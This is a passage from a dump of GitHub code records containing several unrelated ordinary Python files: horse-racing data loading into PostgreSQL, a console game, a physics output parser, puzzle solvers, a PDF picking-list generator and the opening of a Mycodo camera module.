list_list[14 + kasan], \\\n str(bango) + 'futan': list_list[15 + kasan], str(bango) + 'kisyuryakusyo': list_list[16 + kasan],\n str(bango) + 'bataijyu': list_list[17 + kasan], \\\n str(bango) + 'zogenfugo': list_list[18 + kasan], str(bango) + 'zogensa': list_list[19 + kasan],\n str(bango) + 'ijyocd': list_list[20 + kasan], str(bango) + 'kakuteijyuni': list_list[21 + kasan], \\\n str(bango) + 'time': list_list[22 + kasan], str(bango) + 'chakusacd': list_list[23 + kasan],\n str(bango) + 'jyuni1c': list_list[24 + kasan], str(bango) + 'jyuni2c': list_list[25 + kasan], \\\n str(bango) + 'jyuni3c': list_list[26 + kasan], str(bango) + 'jyuni4c': list_list[27 + kasan],\n str(bango) + 'odds': list_list[28 + kasan], str(bango) + 'ninki': list_list[29 + kasan], \\\n str(bango) + 'honsyokin': list_list[30 + kasan], str(bango) + 'zogensa': list_list[31 + kasan],\n str(bango) + 'harontimel3': list_list[32 + kasan], str(bango) + 'kettonum1': list_list[33 + kasan], \\\n str(bango) + 'bamei1': list_list[34 + kasan], str(bango) + 'timediff': list_list[35 + kasan],\n str(bango) + 'kyakusitukubun': list_list[36 + kasan],\n str(bango) + 'speedidx': list_list[37 + kasan], str(bango) + 'index': list_list[38 + kasan]},\n columns=[str(bango) + 'year', str(bango) + 'monthday', str(bango) + 'jyocd', str(bango) + 'kaiji',\n str(bango) + 'nichiji', str(bango) + 'racenum', str(bango) + 'wakuban', \\\n str(bango) + 'umaban', str(bango) + 'kettonum', str(bango) + 'bamei', str(bango) + 'sexcd',\n str(bango) + 'barei', str(bango) + 'tozaicd', str(bango) + 'chokyosiryakusyo', \\\n str(bango) + 'banusiname', str(bango) + 'futan', str(bango) + 'kisyuryakusyo', str(bango) + 'bataijyu',\n str(bango) + 'zogenfugo', str(bango) + 'zogensa', str(bango) + 'ijyocd', \\\n str(bango) + 'kakuteijyuni', str(bango) + 'time', str(bango) + 'chakusacd', str(bango) + 'jyuni1c',\n str(bango) + 'jyuni2c', str(bango) + 'jyuni3c', str(bango) + 'jyuni4c', \\\n str(bango) + 'odds', str(bango) + 'ninki', str(bango) + 'honsyokin', str(bango) + 'zogensa',\n str(bango) + 'harontimel3', str(bango) + 'kettonum1', \\\n str(bango) + 'bamei1', str(bango) + 'timediff', str(bango) + 'kyakusitukubun', str(bango) + 'speedidx',\n str(bango) + 'index'])\n\n # indexを与える\n cre_data_1 = cre_data.reset_index()\n # データpostgreへ\n conn = psycopg2.connect(\" user=\" + USER + \" dbname=\" + DB_NAME + \" password=\" + PASSWORD) # データベースを開く\n cursor = conn.cursor() # データベースを操作できるようにする\n cre_data_1.to_sql(str(bango) + \"Input_Data_Uma\", ENGINE, if_exists='replace',\n index=False) # postgreに作成データを出力,存在してたらreplace\n # -------------実行ここまで\n cursor.close() # データベースの操作を終了する\n conn.commit() # 変更をデータベースに保存\n conn.close() # データベースを閉じる\n\n # いらない変数削除\n del cre_data, cre_data_1\n\n# ②-②Input_Data_RaceデータをDBに格納\nfor bango in range(6): # 0~5\n kasan = n_race_1_col_len * bango # listのどこからとるか指定\n\n cre_data = pd.DataFrame(\n data={str(bango) + 'jyokencd5': list_match[0 + kasan], str(bango) + 'trackcd': list_match[1 + kasan],\n str(bango) + 'kyori': list_match[2 + kasan], \\\n str(bango) + 'sibababacd': list_match[3 + kasan], str(bango) + 'dirtbabacd': list_match[4 + kasan],\n str(bango) + 'monthday': list_match[5 + kasan], \\\n str(bango) + 'laptime1': list_match[6 + kasan], str(bango) + 'laptime2': list_match[7 + kasan],\n str(bango) + 'laptime3': list_match[8 + kasan], str(bango) + 'laptime4': list_match[9 + kasan], \\\n str(bango) + 'laptime5': list_match[10 + kasan], str(bango) + 'laptime6': list_match[11 + kasan],\n str(bango) + 'laptime7': list_match[12 + kasan], \\\n str(bango) + 'laptime8': list_match[13 + kasan], str(bango) + 'laptime9': list_match[14 + kasan],\n str(bango) + 'laptime10': list_match[15 + kasan], str(bango) + 'laptime11': list_match[16 + kasan], \\\n str(bango) + 'laptime12': list_match[17 + kasan], str(bango) + 'laptime13': list_match[18 + kasan],\n str(bango) + 'laptime14': list_match[19 + kasan], str(bango) + 'laptime15': list_match[20 + kasan], \\\n str(bango) + 'laptime16': list_match[21 + kasan], str(bango) + 'laptime17': list_match[22 + kasan],\n str(bango) + 'laptime18': list_match[23 + kasan], str(bango) + 'syussotosu': list_match[24 + kasan], \\\n str(bango) + 'corner1': list_match[25 + kasan], str(bango) + 'syukaisu1': list_match[26 + kasan],\n str(bango) + 'jyuni1': list_match[27 + kasan], str(bango) + 'corner2': list_match[28 + kasan], \\\n str(bango) + 'syukaisu2': list_match[29 + kasan], str(bango) + 'jyuni2': list_match[30 + kasan],\n str(bango) + 'corner3': list_match[31 + kasan], \\\n str(bango) + 'syukaisu3': list_match[32 + kasan], 'str(bango)+jyuni3': list_match[33 + kasan],\n str(bango) + 'corner4': list_match[34 + kasan], str(bango) + 'syukaisu4': list_match[35 + kasan], \\\n str(bango) + 'jyuni4': list_match[36 + kasan], str(bango) + 'ryakusyo6': list_match[37 + kasan],\n str(bango) + 'index': list_match[38 + kasan]}, \\\n columns=[str(bango) + 'jyokencd5', str(bango) + 'trackcd', str(bango) + 'kyori', str(bango) + 'sibababacd',\n str(bango) + 'dirtbabacd', str(bango) + 'monthday', str(bango) + 'laptime1', \\\n str(bango) + 'laptime2', str(bango) + 'laptime3', str(bango) + 'laptime4', str(bango) + 'laptime5',\n str(bango) + 'laptime6', str(bango) + 'laptime7', str(bango) + 'laptime8', str(bango) + 'laptime9', \\\n str(bango) + 'laptime10', str(bango) + 'laptime11', str(bango) + 'laptime12', str(bango) + 'laptime13',\n str(bango) + 'laptime14', str(bango) + 'laptime15', str(bango) + 'laptime16', str(bango) + 'laptime17', \\\n str(bango) + 'laptime18', str(bango) + 'syussotosu', str(bango) + 'corner1', str(bango) + 'syukaisu1',\n str(bango) + 'jyuni1', str(bango) + 'corner2', str(bango) + 'syukaisu2', str(bango) + 'jyuni2', \\\n str(bango) + 'corner3', str(bango) + 'syukaisu3', str(bango) + 'jyuni3', str(bango) + 'corner4',\n str(bango) + 'syukaisu4', str(bango) + 'jyuni4', str(bango) + 'ryakusyo6', str(bango) + 'index'])\n\n # indexを与える\n cre_data_1 = cre_data.reset_index()\n # データpostgreへ\n conn = psycopg2.connect(\" user=\" + USER + \" dbname=\" + DB_NAME + \" password=\" + PASSWORD) # データベースを開く\n cursor = conn.cursor() # データベースを操作できるようにする\n cre_data_1.to_sql(str(bango) + \"Input_Data_Race\", ENGINE, if_exists='replace',\n index=False) # postgreに作成データを出力,存在してたらreplace\n # -------------実行ここまで\n cursor.close() # データベースの操作を終了する\n conn.commit() # 変更をデータベースに保存\n conn.close() # データベースを閉じる\n\n # いらない変数削除\n del cre_data, cre_data_1\n# endregion","repo_name":"kidataku/practice","sub_path":"保存/postgre.py","file_name":"postgre.py","file_ext":"py","file_size_in_byte":160446,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71248732993","text":"import os, msvcrt, ctypes, struct, sys, random, time\nimport colorize, puzzles\nfrom colorize import Colors, set_color, set_cursor, set_cursor_attr, write\nfrom world import _g\n\t\ndef print_main_menu():\n\tset_cursor_attr(100,False)\t#Turn cursor off.\n\tos.system('cls')\n\tw = 80\t\t\t\t\t\t#Constant for width of console.\n\twrite([\n\t\t\"/\"*w,\n\t\t\"//\",\" \"*((w-20)//2),\" Insignificance \",\" \"*((w-20)//2),\"//\",\t#Add Blanks to pad the text to the center.\n\t\t\"/\"*w\n\t\t])\n\tset_color(Colors['Gray'], Colors['Black'])\t\t#Write my name in gray.\n\twrite([\" \"*(w-15),\"// Jamie Phy //\"])\n\tset_color(Colors['White'], Colors['Black'])\n\twrite([\" Main Menu \\x18\\x19\"])\n\tset_color(Colors['Gray'], Colors['Black'])\n\twrite([\" \"*(w-32),\"///////////////\\n\"])\n\tset_color(Colors['White'], Colors['Black'])\n\tif (_g['mm_ind'] == 0):\n\t\tprint(\"\\t\\x10 Start\\n\\t Exit\")\t\t\t\t#If the cursor is over start, show it.\n\telse:\n\t\tprint(\"\\t Start\\n\\t\\x10 Exit\")\t\t\t\t#Otherwise put the cursor on Exit.\n\ndef show_intro():\n\tset_color(Colors['BWhite'], Colors['White'])\n\tflakes = []\t\t\t\t\t\t\t\t\t\t#Make a list of flakes to be.\n\tflake_pattern = ('\\\\','|','/','-')\t\t\t\t#What the possible flakes could look like.\n\tdorfx = -10\t\t\t\t\t\t\t\t\t\t#Set cutscene guy position.\n\tdorfy = 12\n\tcolor_stages = (Colors['BWhite'], Colors['White'], Colors['Gray'], Colors['Black'])\t#Make a list of stages the colors will go through.\n\tcolor_stage = 0.0\t#Index of color stage.\n\t\n\twhile (_g['state'] == 0):\t#While in cutscene.\n\t\tflakes.append([80,(int.from_bytes(os.urandom(1), byteorder='big') // 10),random.randint(0,3)])\t\t#Try a different random method. Add a flake on a random Y\n\t\tif ((int.from_bytes(os.urandom(1), byteorder='big') // 64) == 0): \t\t\t\t\t# 1/4 Chance\n\t\t\tflakes.append([80,(int.from_bytes(os.urandom(1), byteorder='big') // 10),0])\t#Add more than one flake randomly.\n\t\tscr = list(\".\"*24*80)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Make the screen as a series of .'s\n\t\tfor flake in flakes:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Go through all created flakes.\n\t\t\tflake[0]-=2\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Move them left.\n\t\t\tif (flake[0]>=0 and flake[0]<=79 and flake[1]>=0 and flake[1]<=23):\t\t\t\t#If on the screen.\n\t\t\t\tflake[2]+=1\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Change flake pattern\n\t\t\t\tif (flake[2] > len(flake_pattern)-1):\t\t\t\t\t\t\t\t\t\t#If it's out of range, make it 0 to be in range.\n\t\t\t\t\tflake[2] = 0\n\t\t\t\tscr[flake[0]+(flake[1]*80)] = flake_pattern[flake[2]]\t\t\t\t\t\t#Set the position on the screen equal to the flake's pattern.\n\t\tif (dorfx >= 0):\n\t\t\tscr[int(dorfx)+(dorfy*80)]=\"\\x02\"\t#If he's in screen, draw him.\n\t\tif (dorfx < 50):\t\t\t\t\t\t#If he's less than 50 X, move him. If he's more than 43, move him slower.\n\t\t\tdorfx+=(.4-((dorfx>43)*.3))\n\t\t\tif ((int.from_bytes(os.urandom(1), byteorder='big') // 32) == 0):\t\t#Chance to move vertically. Chance of a Chance to move in a direction.\n\t\t\t\tif ((int.from_bytes(os.urandom(1), byteorder='big') // 128) == 1):\n\t\t\t\t\tdorfy = min(dorfy+1,20)\n\t\t\t\telse:\n\t\t\t\t\tdorfy = max(dorfy-1,5)\n\t\telse:\n\t\t\tset_color(color_stages[min(3,int(color_stage))], color_stages[min(3,int(color_stage+1))])\t#Screen begins to fade, set colors.\n\t\t\tcolor_stage += .05\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Increment screen fading.\n\t\t\tif (color_stage >= 5):\n\t\t\t\t_g['state'] = 1\t\t#Fading ended, so does cutscene.\n\t\tos.system('cls')\n\t\twrite([''.join(scr)])\t\t#Draw the screen list onto the screen.\n\t\ttime.sleep(.1)\n\t\n\t\t\ndef show_main_menu():\n\tprint_main_menu()\n\twhile (_g['state'] == 0):\n\t\tkeypress = int.from_bytes(msvcrt.getch(), byteorder='big')\t\t#See if player is pressing Up or Down, move menu likewise.\n\t\tif (keypress == 80):\n\t\t\t_g['mm_ind'] = min(1,_g['mm_ind']+1)\n\t\t\tprint_main_menu()\n\t\telif (keypress == 72):\n\t\t\t_g['mm_ind'] = max(0,_g['mm_ind']-1)\n\t\t\tprint_main_menu()\n\t\telif (keypress == 13):\n\t\t\tif (_g['mm_ind'] == 0):\t\t#If over Start and presses enter, show intro.\n\t\t\t\tshow_intro()\n\t\t\t\treturn True\n\t\t\telse:\t\t\t\t\t\t#Otherwise, must be on Exit, quit game.\n\t\t\t\treturn False\n\ndef create_tut_world():\n\t_g['tworld'] = list(' '*24*80)\t#Make a fake world, same way we did cutscene.\n\n\t_g['tworld'][coord(40,12)] = 'H'\t#Add Home in the middle.\n\ndef show_tut_world():\n\told = colorize.current\n\tfor plot in _g['tworld']:\n\t\tif plot == '.' or plot == 'H':\t#Go through the world list, draw each index with correct color.\n\t\t\tset_color(Colors['Gray'])\n\t\telif plot == ':':\n\t\t\tset_color(Colors['Green'])\n\t\telse:\n\t\t\tset_color(Colors['Magenta'])\n\t\twrite(plot)\n\tset_color(old[0],old[1])\n\t\ndef coord(x,y):\n\treturn (y*80)+x\t\t#Convert X-Y to fake-world index.\n\ndef start_tutorial():\t#Create fake world, explain how the world works.\n\tcreate_tut_world()\n\tshow_tut_world()\n\tset_cursor(0,0)\n\twrite(\"Welcome to Insignificance.\\nWhat you're looking at right now is the world map.\\n\")\n\tpuzzles.functions.wait()\n\twrite(\"\\nThe H in the center represents your starting camp. The map is currently bare\\nbecause you have yet to explore the world.\\n\")\n\tpuzzles.functions.wait()\n\tos.system('cls')\n\t_g['tworld'][coord(39,12)] = '.'\n\t_g['tworld'][coord(38,12)] = ':'\n\t_g['tworld'][coord(38,11)] = '.'\n\t\n\t_g['tworld'][coord(41,12)] = '?'\n\t_g['tworld'][coord(40,11)] = '?'\n\t_g['tworld'][coord(40,13)] = '?'\n\t_g['tworld'][coord(39,11)] = '?'\n\t_g['tworld'][coord(39,13)] = '?'\n\t_g['tworld'][coord(38,13)] = '?'\n\t_g['tworld'][coord(38,10)] = '?'\n\t_g['tworld'][coord(37,11)] = '?'\n\t_g['tworld'][coord(37,12)] = '?'\n\tshow_tut_world()\n\tset_cursor(0,0)\n\twrite(\"Upon completing puzzles, new locations will become available for you to\\nexplore. These will be marked with magenta [?]s.\\n\")\n\tpuzzles.functions.wait()\n\twrite(\"\\nThe game is not a straight path though. Be sure to revisit locations that have\\nnot been completed, green [:]'s, after finding new items.\")\n\tpuzzles.functions.wait()\n\twrite(\"\\n\\nIf you get stuck on a puzzle, just type [map] or press the Escape\\nbutton to go back to the world.\")\n\tpuzzles.functions.wait()\n\tpuzzles.functions.start(2,2)\n\ndef init():\t#Start game, make screen 80x25\n\tos.system(\"mode con: lines=25 cols=80\")\n\tset_color(Colors['White'], Colors['Black'])\n\t\n\tr = show_main_menu()\t#Show menu, if Start, proceed, else, quit.\n\tif (r):\n\t\tstart_tutorial()\n\nif (__name__ == \"__main__\"):\t#If not imported, start game.\n\tinit()","repo_name":"madolinn/Development","sub_path":"dev/Python/Insignificance/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41219896483","text":"#!/bin/python\nimport sys,string\nimport csv\nfrom operator import itemgetter\nimport numpy as np\n\n# script to read the output spit by the OverlapTool, saved in an input (to this script) file (./makeRateHistos > screenSpit.txt\n\n_j_args = sys.argv\n\n_inputfile = _j_args[1]\n_outfileprefix = _j_args[2]\n\nprint(\"input file name, and outputfileprefix: \", _inputfile, _outfileprefix)\n\ncollRateList = [8, 13, 16, 20, 23, 26, 30]\n\n# read the input file\nmyfile = open(_inputfile, 'r')\n\nwords = [];\nncrs=0\npdnames = [];\nnpds=0;\npdstart=0;\npdend=0;\n\npdrate = [];\n\n\npdaveevtsize=[]\npdoutsize=[]\npdtotalout=[]\n\nsizestart=0\nsizeend=0\n\nreadrate = [];\ni=0;\npdnum=0\n\nfor line in myfile:\n splitline = line.split()\n if len(splitline)<1:\n continue\n words.append(splitline)\n if words[i][0].startswith(\"At\") == True:\n readrate.append(splitline[1])\n print(\"########CR= \", readrate[ncrs])\n ncrs+=1\n pdstart=i+1\n # if len(readrate)==1: #store all the PD names and rates\n if words[i][0].startswith(\"-_-_-_-_-\")==True:\n pdend=i\n npds=pdend-pdstart\n for pd in range(pdstart,pdend):\n pdnames.append(words[pd][0])\n pdrate.append(words[pd][5])\n if len(splitline)>1:\n if splitline[1]==(\"TOTAL\"): #store pd_output_size: average per event, per pd, total\n sizeend=i-1\n sizestart=i-npds-1\n pdtotalout.append(words[i][4])\n #print(\"pdend and pdstart\",sizestart,sizeend)\n print(\"Total data rate from all PDs:\",words[i][4])\n for ipd in range (sizestart,sizeend):\n pdaveevtsize.append(words[ipd-npds][9])\n # print(\"Average event size per PD: \", words[ipd-npds][9])\n \n pdoutsize.append(words[ipd+1][5])\n # print(\"Average data rate per PD: \", words[ipd+1][5])\n i+=1\n\nprint(\"######## Number of columns: \",ncrs, len(readrate))\nprint(\"######## Number of PDs: \",npds)\nprint(pdnames)\nprint(len(readrate))\nprint(len(pdoutsize))\nprint(len(pdaveevtsize))\n# writting output\n#outfile1=open(str(_outfileprefix)+\"_pdRates\"+\".txt\", \"w\")#1\noutcollrate=[]\n\n\nfrate = open(str(_outfileprefix)+\"_pdrate\"+\".txt\", \"w\")# output file\nfsize = open(str(_outfileprefix)+\"_pdsize\"+\".txt\", \"w\")# output file\nfsizeave = open(str(_outfileprefix)+\"_pdsizeave\"+\".txt\", \"w\")# output file\n\n#frate.write('%-40s %6s %10s %2s\\n' % (filename, type, size, modified))\n\nfor ipd in range (npds):\n outpdrate=[]\n outpdoutsize=[]\n outpdevtavesize=[]\n for icr in range (ncrs):\n if ipd==0:\n outcollrate.append(readrate[icr])\n print(\"### collision rate: \", readrate[icr])\n\n #print(\"PD index\", ipd)\n #print(npds*icr+ipd)\n #print(\"pdName, pdRate, pd ave evts size, outSize: \",pdnames[npds*icr+ipd],pdrate[npds*icr+ipd],pdoutsize[npds*icr+ipd],pdaveevtsize[npds*icr+ipd])\n outpdrate.append(pdrate[npds*icr+ipd])\n outpdoutsize.append(pdoutsize[npds*icr+ipd])\n outpdevtavesize.append(pdaveevtsize[npds*icr+ipd])\n if(ipd==0):\n frate.write('\\t'+'\\t'.join(outcollrate[0:])+'\\n')\n fsize.write('\\t'+'\\t'.join(outcollrate[0:])+'\\n')\n fsizeave.write('\\t'+'\\t'.join(outcollrate[0:])+'\\n')\n frate.write(pdnames[ipd]+'\\t'+'\\t'.join(outpdrate[0:])+'\\n')\n fsize.write(pdnames[ipd]+'\\t'+'\\t'.join(outpdoutsize[0:])+'\\n')\n fsizeave.write(pdnames[ipd]+'\\t'+'\\t'.join(outpdevtavesize[0:])+'\\n')\n# print(pdnames[ipd],outpdrate)\n# print(pdnames[ipd],outpdoutsize)\n# print(pdnames[ipd],outpdevtavesize)\n\nfrate.close()\nfsize.close()\nfsizeave.close()\n","repo_name":"CMS-HIN-dilepton/RunPreparation","sub_path":"year2018/Overlap2018PbPb/readOutput.py","file_name":"readOutput.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23396155601","text":"import math\r\n\r\ndef ispalindrom(numb):\r\n numb = str(numb)\r\n length = len(numb)\r\n if length == 1:\r\n return True\r\n elif length%2 != 0:\r\n start = 0\r\n end = length - 1\r\n while length != 1:\r\n if not numb[start] == numb[end]:\r\n break\r\n else:\r\n length = length - 2\r\n start = start + 1\r\n end = end - 1\r\n if length == 1:\r\n return True\r\n elif length%2 == 0:\r\n start = 0\r\n end = length - 1\r\n while length != 0:\r\n if not numb[start] == numb[end]:\r\n break\r\n else:\r\n length = length - 2\r\n start = start + 1\r\n end = end - 1\r\n if length == 0:\r\n return True\r\n \r\n \r\nfname = 'C-small-attempt1.in'\r\nwith open(fname) as f:\r\n content = f.readlines()\r\ninputs = int(content[0])\r\ninput_count = 1\r\nfor i in range(1, len(content)):\r\n count = 0\r\n endpoints = content[input_count].split(' ')\r\n start_point = int(endpoints[0])\r\n end_point = int(endpoints[1])\r\n for i in range(start_point, end_point+1):\r\n if ispalindrom(i):\r\n sqroot = math.sqrt(i)\r\n if sqroot%1 == 0:\r\n sqroot = '%.12g' % sqroot\r\n sqroot = int(sqroot)\r\n if ispalindrom(sqroot):\r\n count = count + 1\r\n else:\r\n pass\r\n f = open('result.txt', 'a')\r\n f.write('Case #'+str(input_count)+': '+str(count)+'\\n')\r\n f.close()\r\n input_count += 1\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/2919.py","file_name":"2919.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41784196675","text":"from django.conf import settings\n\nfrom reportlab.lib.pagesizes import A4\nfrom reportlab.platypus import SimpleDocTemplate, Paragraph, Table, TableStyle\nfrom reportlab.lib.units import mm\nfrom reportlab.lib import colors\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.pdfbase.ttfonts import TTFont\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom reportlab.lib.enums import TA_CENTER\n\nfrom transport.models import InternalTransport\nfrom printing_tools.documents import stylesheet\n\nimport os\nfrom io import BytesIO\nfrom datetime import datetime\n\n\ndef print_letterhead(canvas, doc):\n ''' add letterhead to the page'''\n # Save the state of our canvas so we can draw on it\n canvas.saveState()\n styles = stylesheet()\n\n filename = os.path.join(settings.STATIC_ROOT, 'pdf/letterhead.jpg')\n\n canvas.drawImage(filename, 0, 0, *A4)\n\n # Footer\n # footer = Paragraph('S-Company ltd, Suzy\\'s manufacturing - Westwood House Annie Med Lane - England
Tel: +44 203608 7593 - hello@suzys.eu', styles['BodyTextCenter'])\n # w, h = footer.wrap(doc.width, doc.bottomMargin)\n # footer.drawOn(canvas, doc.leftMargin, h)\n\n # Release the canvas\n canvas.restoreState()\n\n\ndef print_internal_transport_picking_list(internal_transport):\n '''\n Generate and return pdf-data for an internal transport.\n Including:\n - from address\n - to address\n - items with names, skus and qty + unit\n '''\n\n buffer = BytesIO()\n margin = 20*mm\n doc = SimpleDocTemplate(buffer,\n rightMargin=margin,\n leftMargin=margin,\n topMargin=50*mm,\n bottomMargin=margin,\n pagesize=A4)\n\n # Our container for 'Flowable' objects\n elements = []\n styles = stylesheet()\n\n # Add font for unicode\n pdfmetrics.registerFont(TTFont('Arial', os.path.join(settings.STATIC_ROOT, 'pdf/Arial.ttf')))\n\n ## Add some title\n title = 'Picking List #{}'.format(internal_transport.id)\n elements.append(Paragraph(title, styles['Title']))\n elements.append(Paragraph('Shipping Date: {}'.format(internal_transport.shipping_date), styles['BodyText']))\n elements.append(Paragraph('Shipped From: {} {}'.format(internal_transport.from_location, internal_transport.from_location.own_address.get_country_display()), styles['BodyText']))\n elements.append(Paragraph('Shipped To: {} {}'.format(internal_transport.to_location, internal_transport.to_location.own_address.get_country_display()), styles['BodyText']))\n elements.append(Paragraph('

', styles['BodyText']))\n\n ## Build item table\n table_data = []\n table_data.append([Paragraph(i, styles['Bold']) for i in ['Product', 'SKU', 'Qty', 'Unit', '']])\n table_width = doc.width - margin\n for item in internal_transport.internaltransportmaterial_set.all():\n table_data.append([\n Paragraph(str(item.material), styles['BodyText']), \n Paragraph(str(item.material.sku), styles['BodyText']), \n Paragraph(str(item.qty), styles['BodyText']), \n Paragraph(str(item.material.get_unit_usage_display()), styles['BodyText']),\n Paragraph(u'\\u25A1', styles['BodyText']),\n ])\n table = Table(table_data, colWidths=[table_width*0.4, table_width*0.4, table_width*0.175, table_width*0.175, table_width*0.05])\n table.setStyle(TableStyle([\n ('LINEBELOW', (0,0), (4,0), 1, colors.black), ## Add line below headers\n ]))\n elements.append(table)\n\n ## Build the pdf\n doc.build(elements, onFirstPage=print_letterhead, onLaterPages=print_letterhead)\n pdf = buffer.getvalue()\n buffer.close()\n return pdf\n","repo_name":"aprosdev/Django-Ecommerce","sub_path":"transport/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":3677,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"24286768750","text":"import sys\n\nclass Node(object):\n\tdef __init__(self, value):\n\t\tself.value = value \n\t\tself.next = None\n\ndef create_linkList(n):\n\thead = Node(1)\n\tpre = head\n\tfor i in range(2, n+1):\n\t\tnewNode = Node(i)\n\t\tpre.next= newNode\n\t\tpre = newNode\n\tpre.next = head\n\treturn head\n\nfor line in sys.stdin.read().splitlines():\n # splitlines 會去除不同OS的換行符號\n nums = [int(num) for num in line.split()]\n # nums = map(int, line.split())\n n = nums[0] #總的個數\n m = nums[1] #數的數目\n if m == 1: #如果是1的话,特殊處理,直接輸出\n print (n) \n else:\n head = create_linkList(n)\n pre = None\n cur = head\n while cur.next != cur: #终止條件是節點的下一个節點指向本身\n for i in range(m-1):\n pre = cur\n cur = cur.next\n #print (cur.value)\n pre.next = cur.next\n cur.next = None\n cur = pre.next\n print (cur.value)","repo_name":"jsyang1967/CodeBooks","sub_path":"1101/src/1101J/submissions/accepted/J.py","file_name":"J.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12516251547","text":"import array\nclass BitArray:\n def __init__(self, bit_size):\n int_size = bit_size >> 5 # number of 32 bit integers\n if bit_size & 31:\n int_size += 1\n self.bit_array = array.array('L') # unsigned 32 bit integer\n self.bit_array.extend((0,) * int_size)\n\n # Set an integer with the bit at 'bit_num' to 1\n def set(self, bit_num):\n record = bit_num >> 5\n offset = bit_num & 31\n mask = 1 << offset\n self.bit_array[record] |= mask\n\n # Returns non-zero result if the bit at 'bit_num' is set to 1\n def get(self, bit_num):\n record = bit_num >> 5\n offset = bit_num & 31\n mask = 1 << offset\n return self.bit_array[record] & mask\n","repo_name":"satojkovic/algorithms","sub_path":"python/bitarray.py","file_name":"bitarray.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23591218267","text":"# def fibo(n, d):\n# print(d + str(n))\n# if(n == 0 or n == 1):\n# print('ket'+ str(n))\n\n# return 1\n\n# return fibo(n-1, 'a') + fibo(n-2, 'b')\n\n\na = 1\nb = 2\nprint(a, b)\n[a, b] = [b, a]\nprint(a, b)\n","repo_name":"linh-ph/learn-tum-lum","sub_path":"fibo.py","file_name":"fibo.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71766623555","text":"import os\nimport time\nfrom datetime import datetime as dt\n\nfrom flask_babel import lazy_gettext\n\nfrom mycodo.config import PATH_CAMERAS\nfrom mycodo.databases.models import CustomController\nfrom mycodo.functions.base_function import AbstractFunction\nfrom mycodo.utils.camera_functions import get_camera_function_image_info\nfrom mycodo.utils.constraints_pass import constraints_pass_positive_value\nfrom mycodo.utils.database import db_retrieve_table_daemon\nfrom mycodo.utils.system_pi import assure_path_exists, cmd_output\n\n\ndef function_status(function_id):\n return_str = {\n 'string_status': generate_latest_media_html(function_id),\n 'error': []\n }\n return return_str\n\ndef generate_latest_media_html(unique_id):\n str_last_media = \"\"\n\n (latest_img_still_ts,\n latest_img_still_size,\n latest_img_still,\n latest_img_video_ts,\n latest_img_video_size,\n latest_img_video,\n latest_img_tl_ts,\n latest_img_tl_size,\n latest_img_tl,\n time_lapse_imgs) = get_camera_function_image_info(unique_id)\n\n if latest_img_tl_ts:\n last_tl = lazy_gettext('Last Timelapse Image')\n str_last_media += f'
{last_tl}: {latest_img_tl_ts} ({latest_img_tl_size})
'\n\n if latest_img_still_ts:\n last_still = lazy_gettext('Last Still Image')\n str_last_media += f'
{last_still}: {latest_img_still_ts} ({latest_img_still_size})
'\n \n if latest_img_video_ts:\n last_video = lazy_gettext('Last Video')\n str_last_media += f'
{last_video}: {latest_img_video_ts} ({latest_img_video_size}) Download'\n\n if latest_img_video.endswith(\"mp4\"):\n str_last_media += f'
'\n\n str_last_media += '
'\n \n return str_last_media\n\nFUNCTION_INFORMATION = {\n 'function_name_unique': 'CAMERA_LIBCAMERA',\n 'function_name': '{}: libcamera: {}/{}'.format(lazy_gettext(\"Camera\"), lazy_gettext(\"Image\"), lazy_gettext(\"Video\")),\n 'function_name_short': '{} libcamera'.format(lazy_gettext(\"Camera\")),\n 'modify_settings_without_deactivating': True,\n 'camera_image': True,\n 'camera_video': True,\n 'camera_stream': False,\n 'function_status': function_status,\n\n 'message': 'NOTE: THIS IS CURRENTLY EXPERIMENTAL - USE AT YOUR OWN RISK UNTIL THIS NOTICE IS REMOVED. Capture images and videos from a camera using libcamera-still and libcamera-vid. The Function must be activated in order to capture still and timelapse images and use the Camera Widget.',\n\n 'options_enabled': [\n 'function_status'\n ],\n 'options_disabled': [\n 'measurements_select',\n 'measurements_configure'\n ],\n\n 'dependencies_module': [\n ('apt', 'libcamera-apps', 'libcamera-apps'),\n ('apt', 'ffmpeg', 'ffmpeg'),\n ],\n\n 'custom_commands': [\n {\n 'id': 'capture_image',\n 'type': 'button',\n 'wait_for_return': True,\n 'name': 'Capture Image',\n 'phrase': \"Acquire a still image from the camera\"\n },\n {\n 'type': 'message',\n 'default_value': \"\"\"To capture a video, enter the duration and press Capture Video.\"\"\"\n },\n {\n 'id': 'vid_duration_sec',\n 'type': 'integer',\n 'default_value': 5,\n 'required': True,\n 'constraints_pass': constraints_pass_positive_value,\n 'name': 'Video Duration (Seconds)',\n 'phrase': 'How long to record the video'\n },\n {\n 'id': 'capture_video',\n 'type': 'button',\n 'wait_for_return': False,\n 'name': 'Capture Video',\n 'phrase': \"Cpature a video for the specific duration\"\n },\n {\n 'type': 'message',\n 'default_value': \"\"\"To start a timelapse, enter the duration and period and press Start Timelapse.\"\"\"\n },\n {\n 'id': 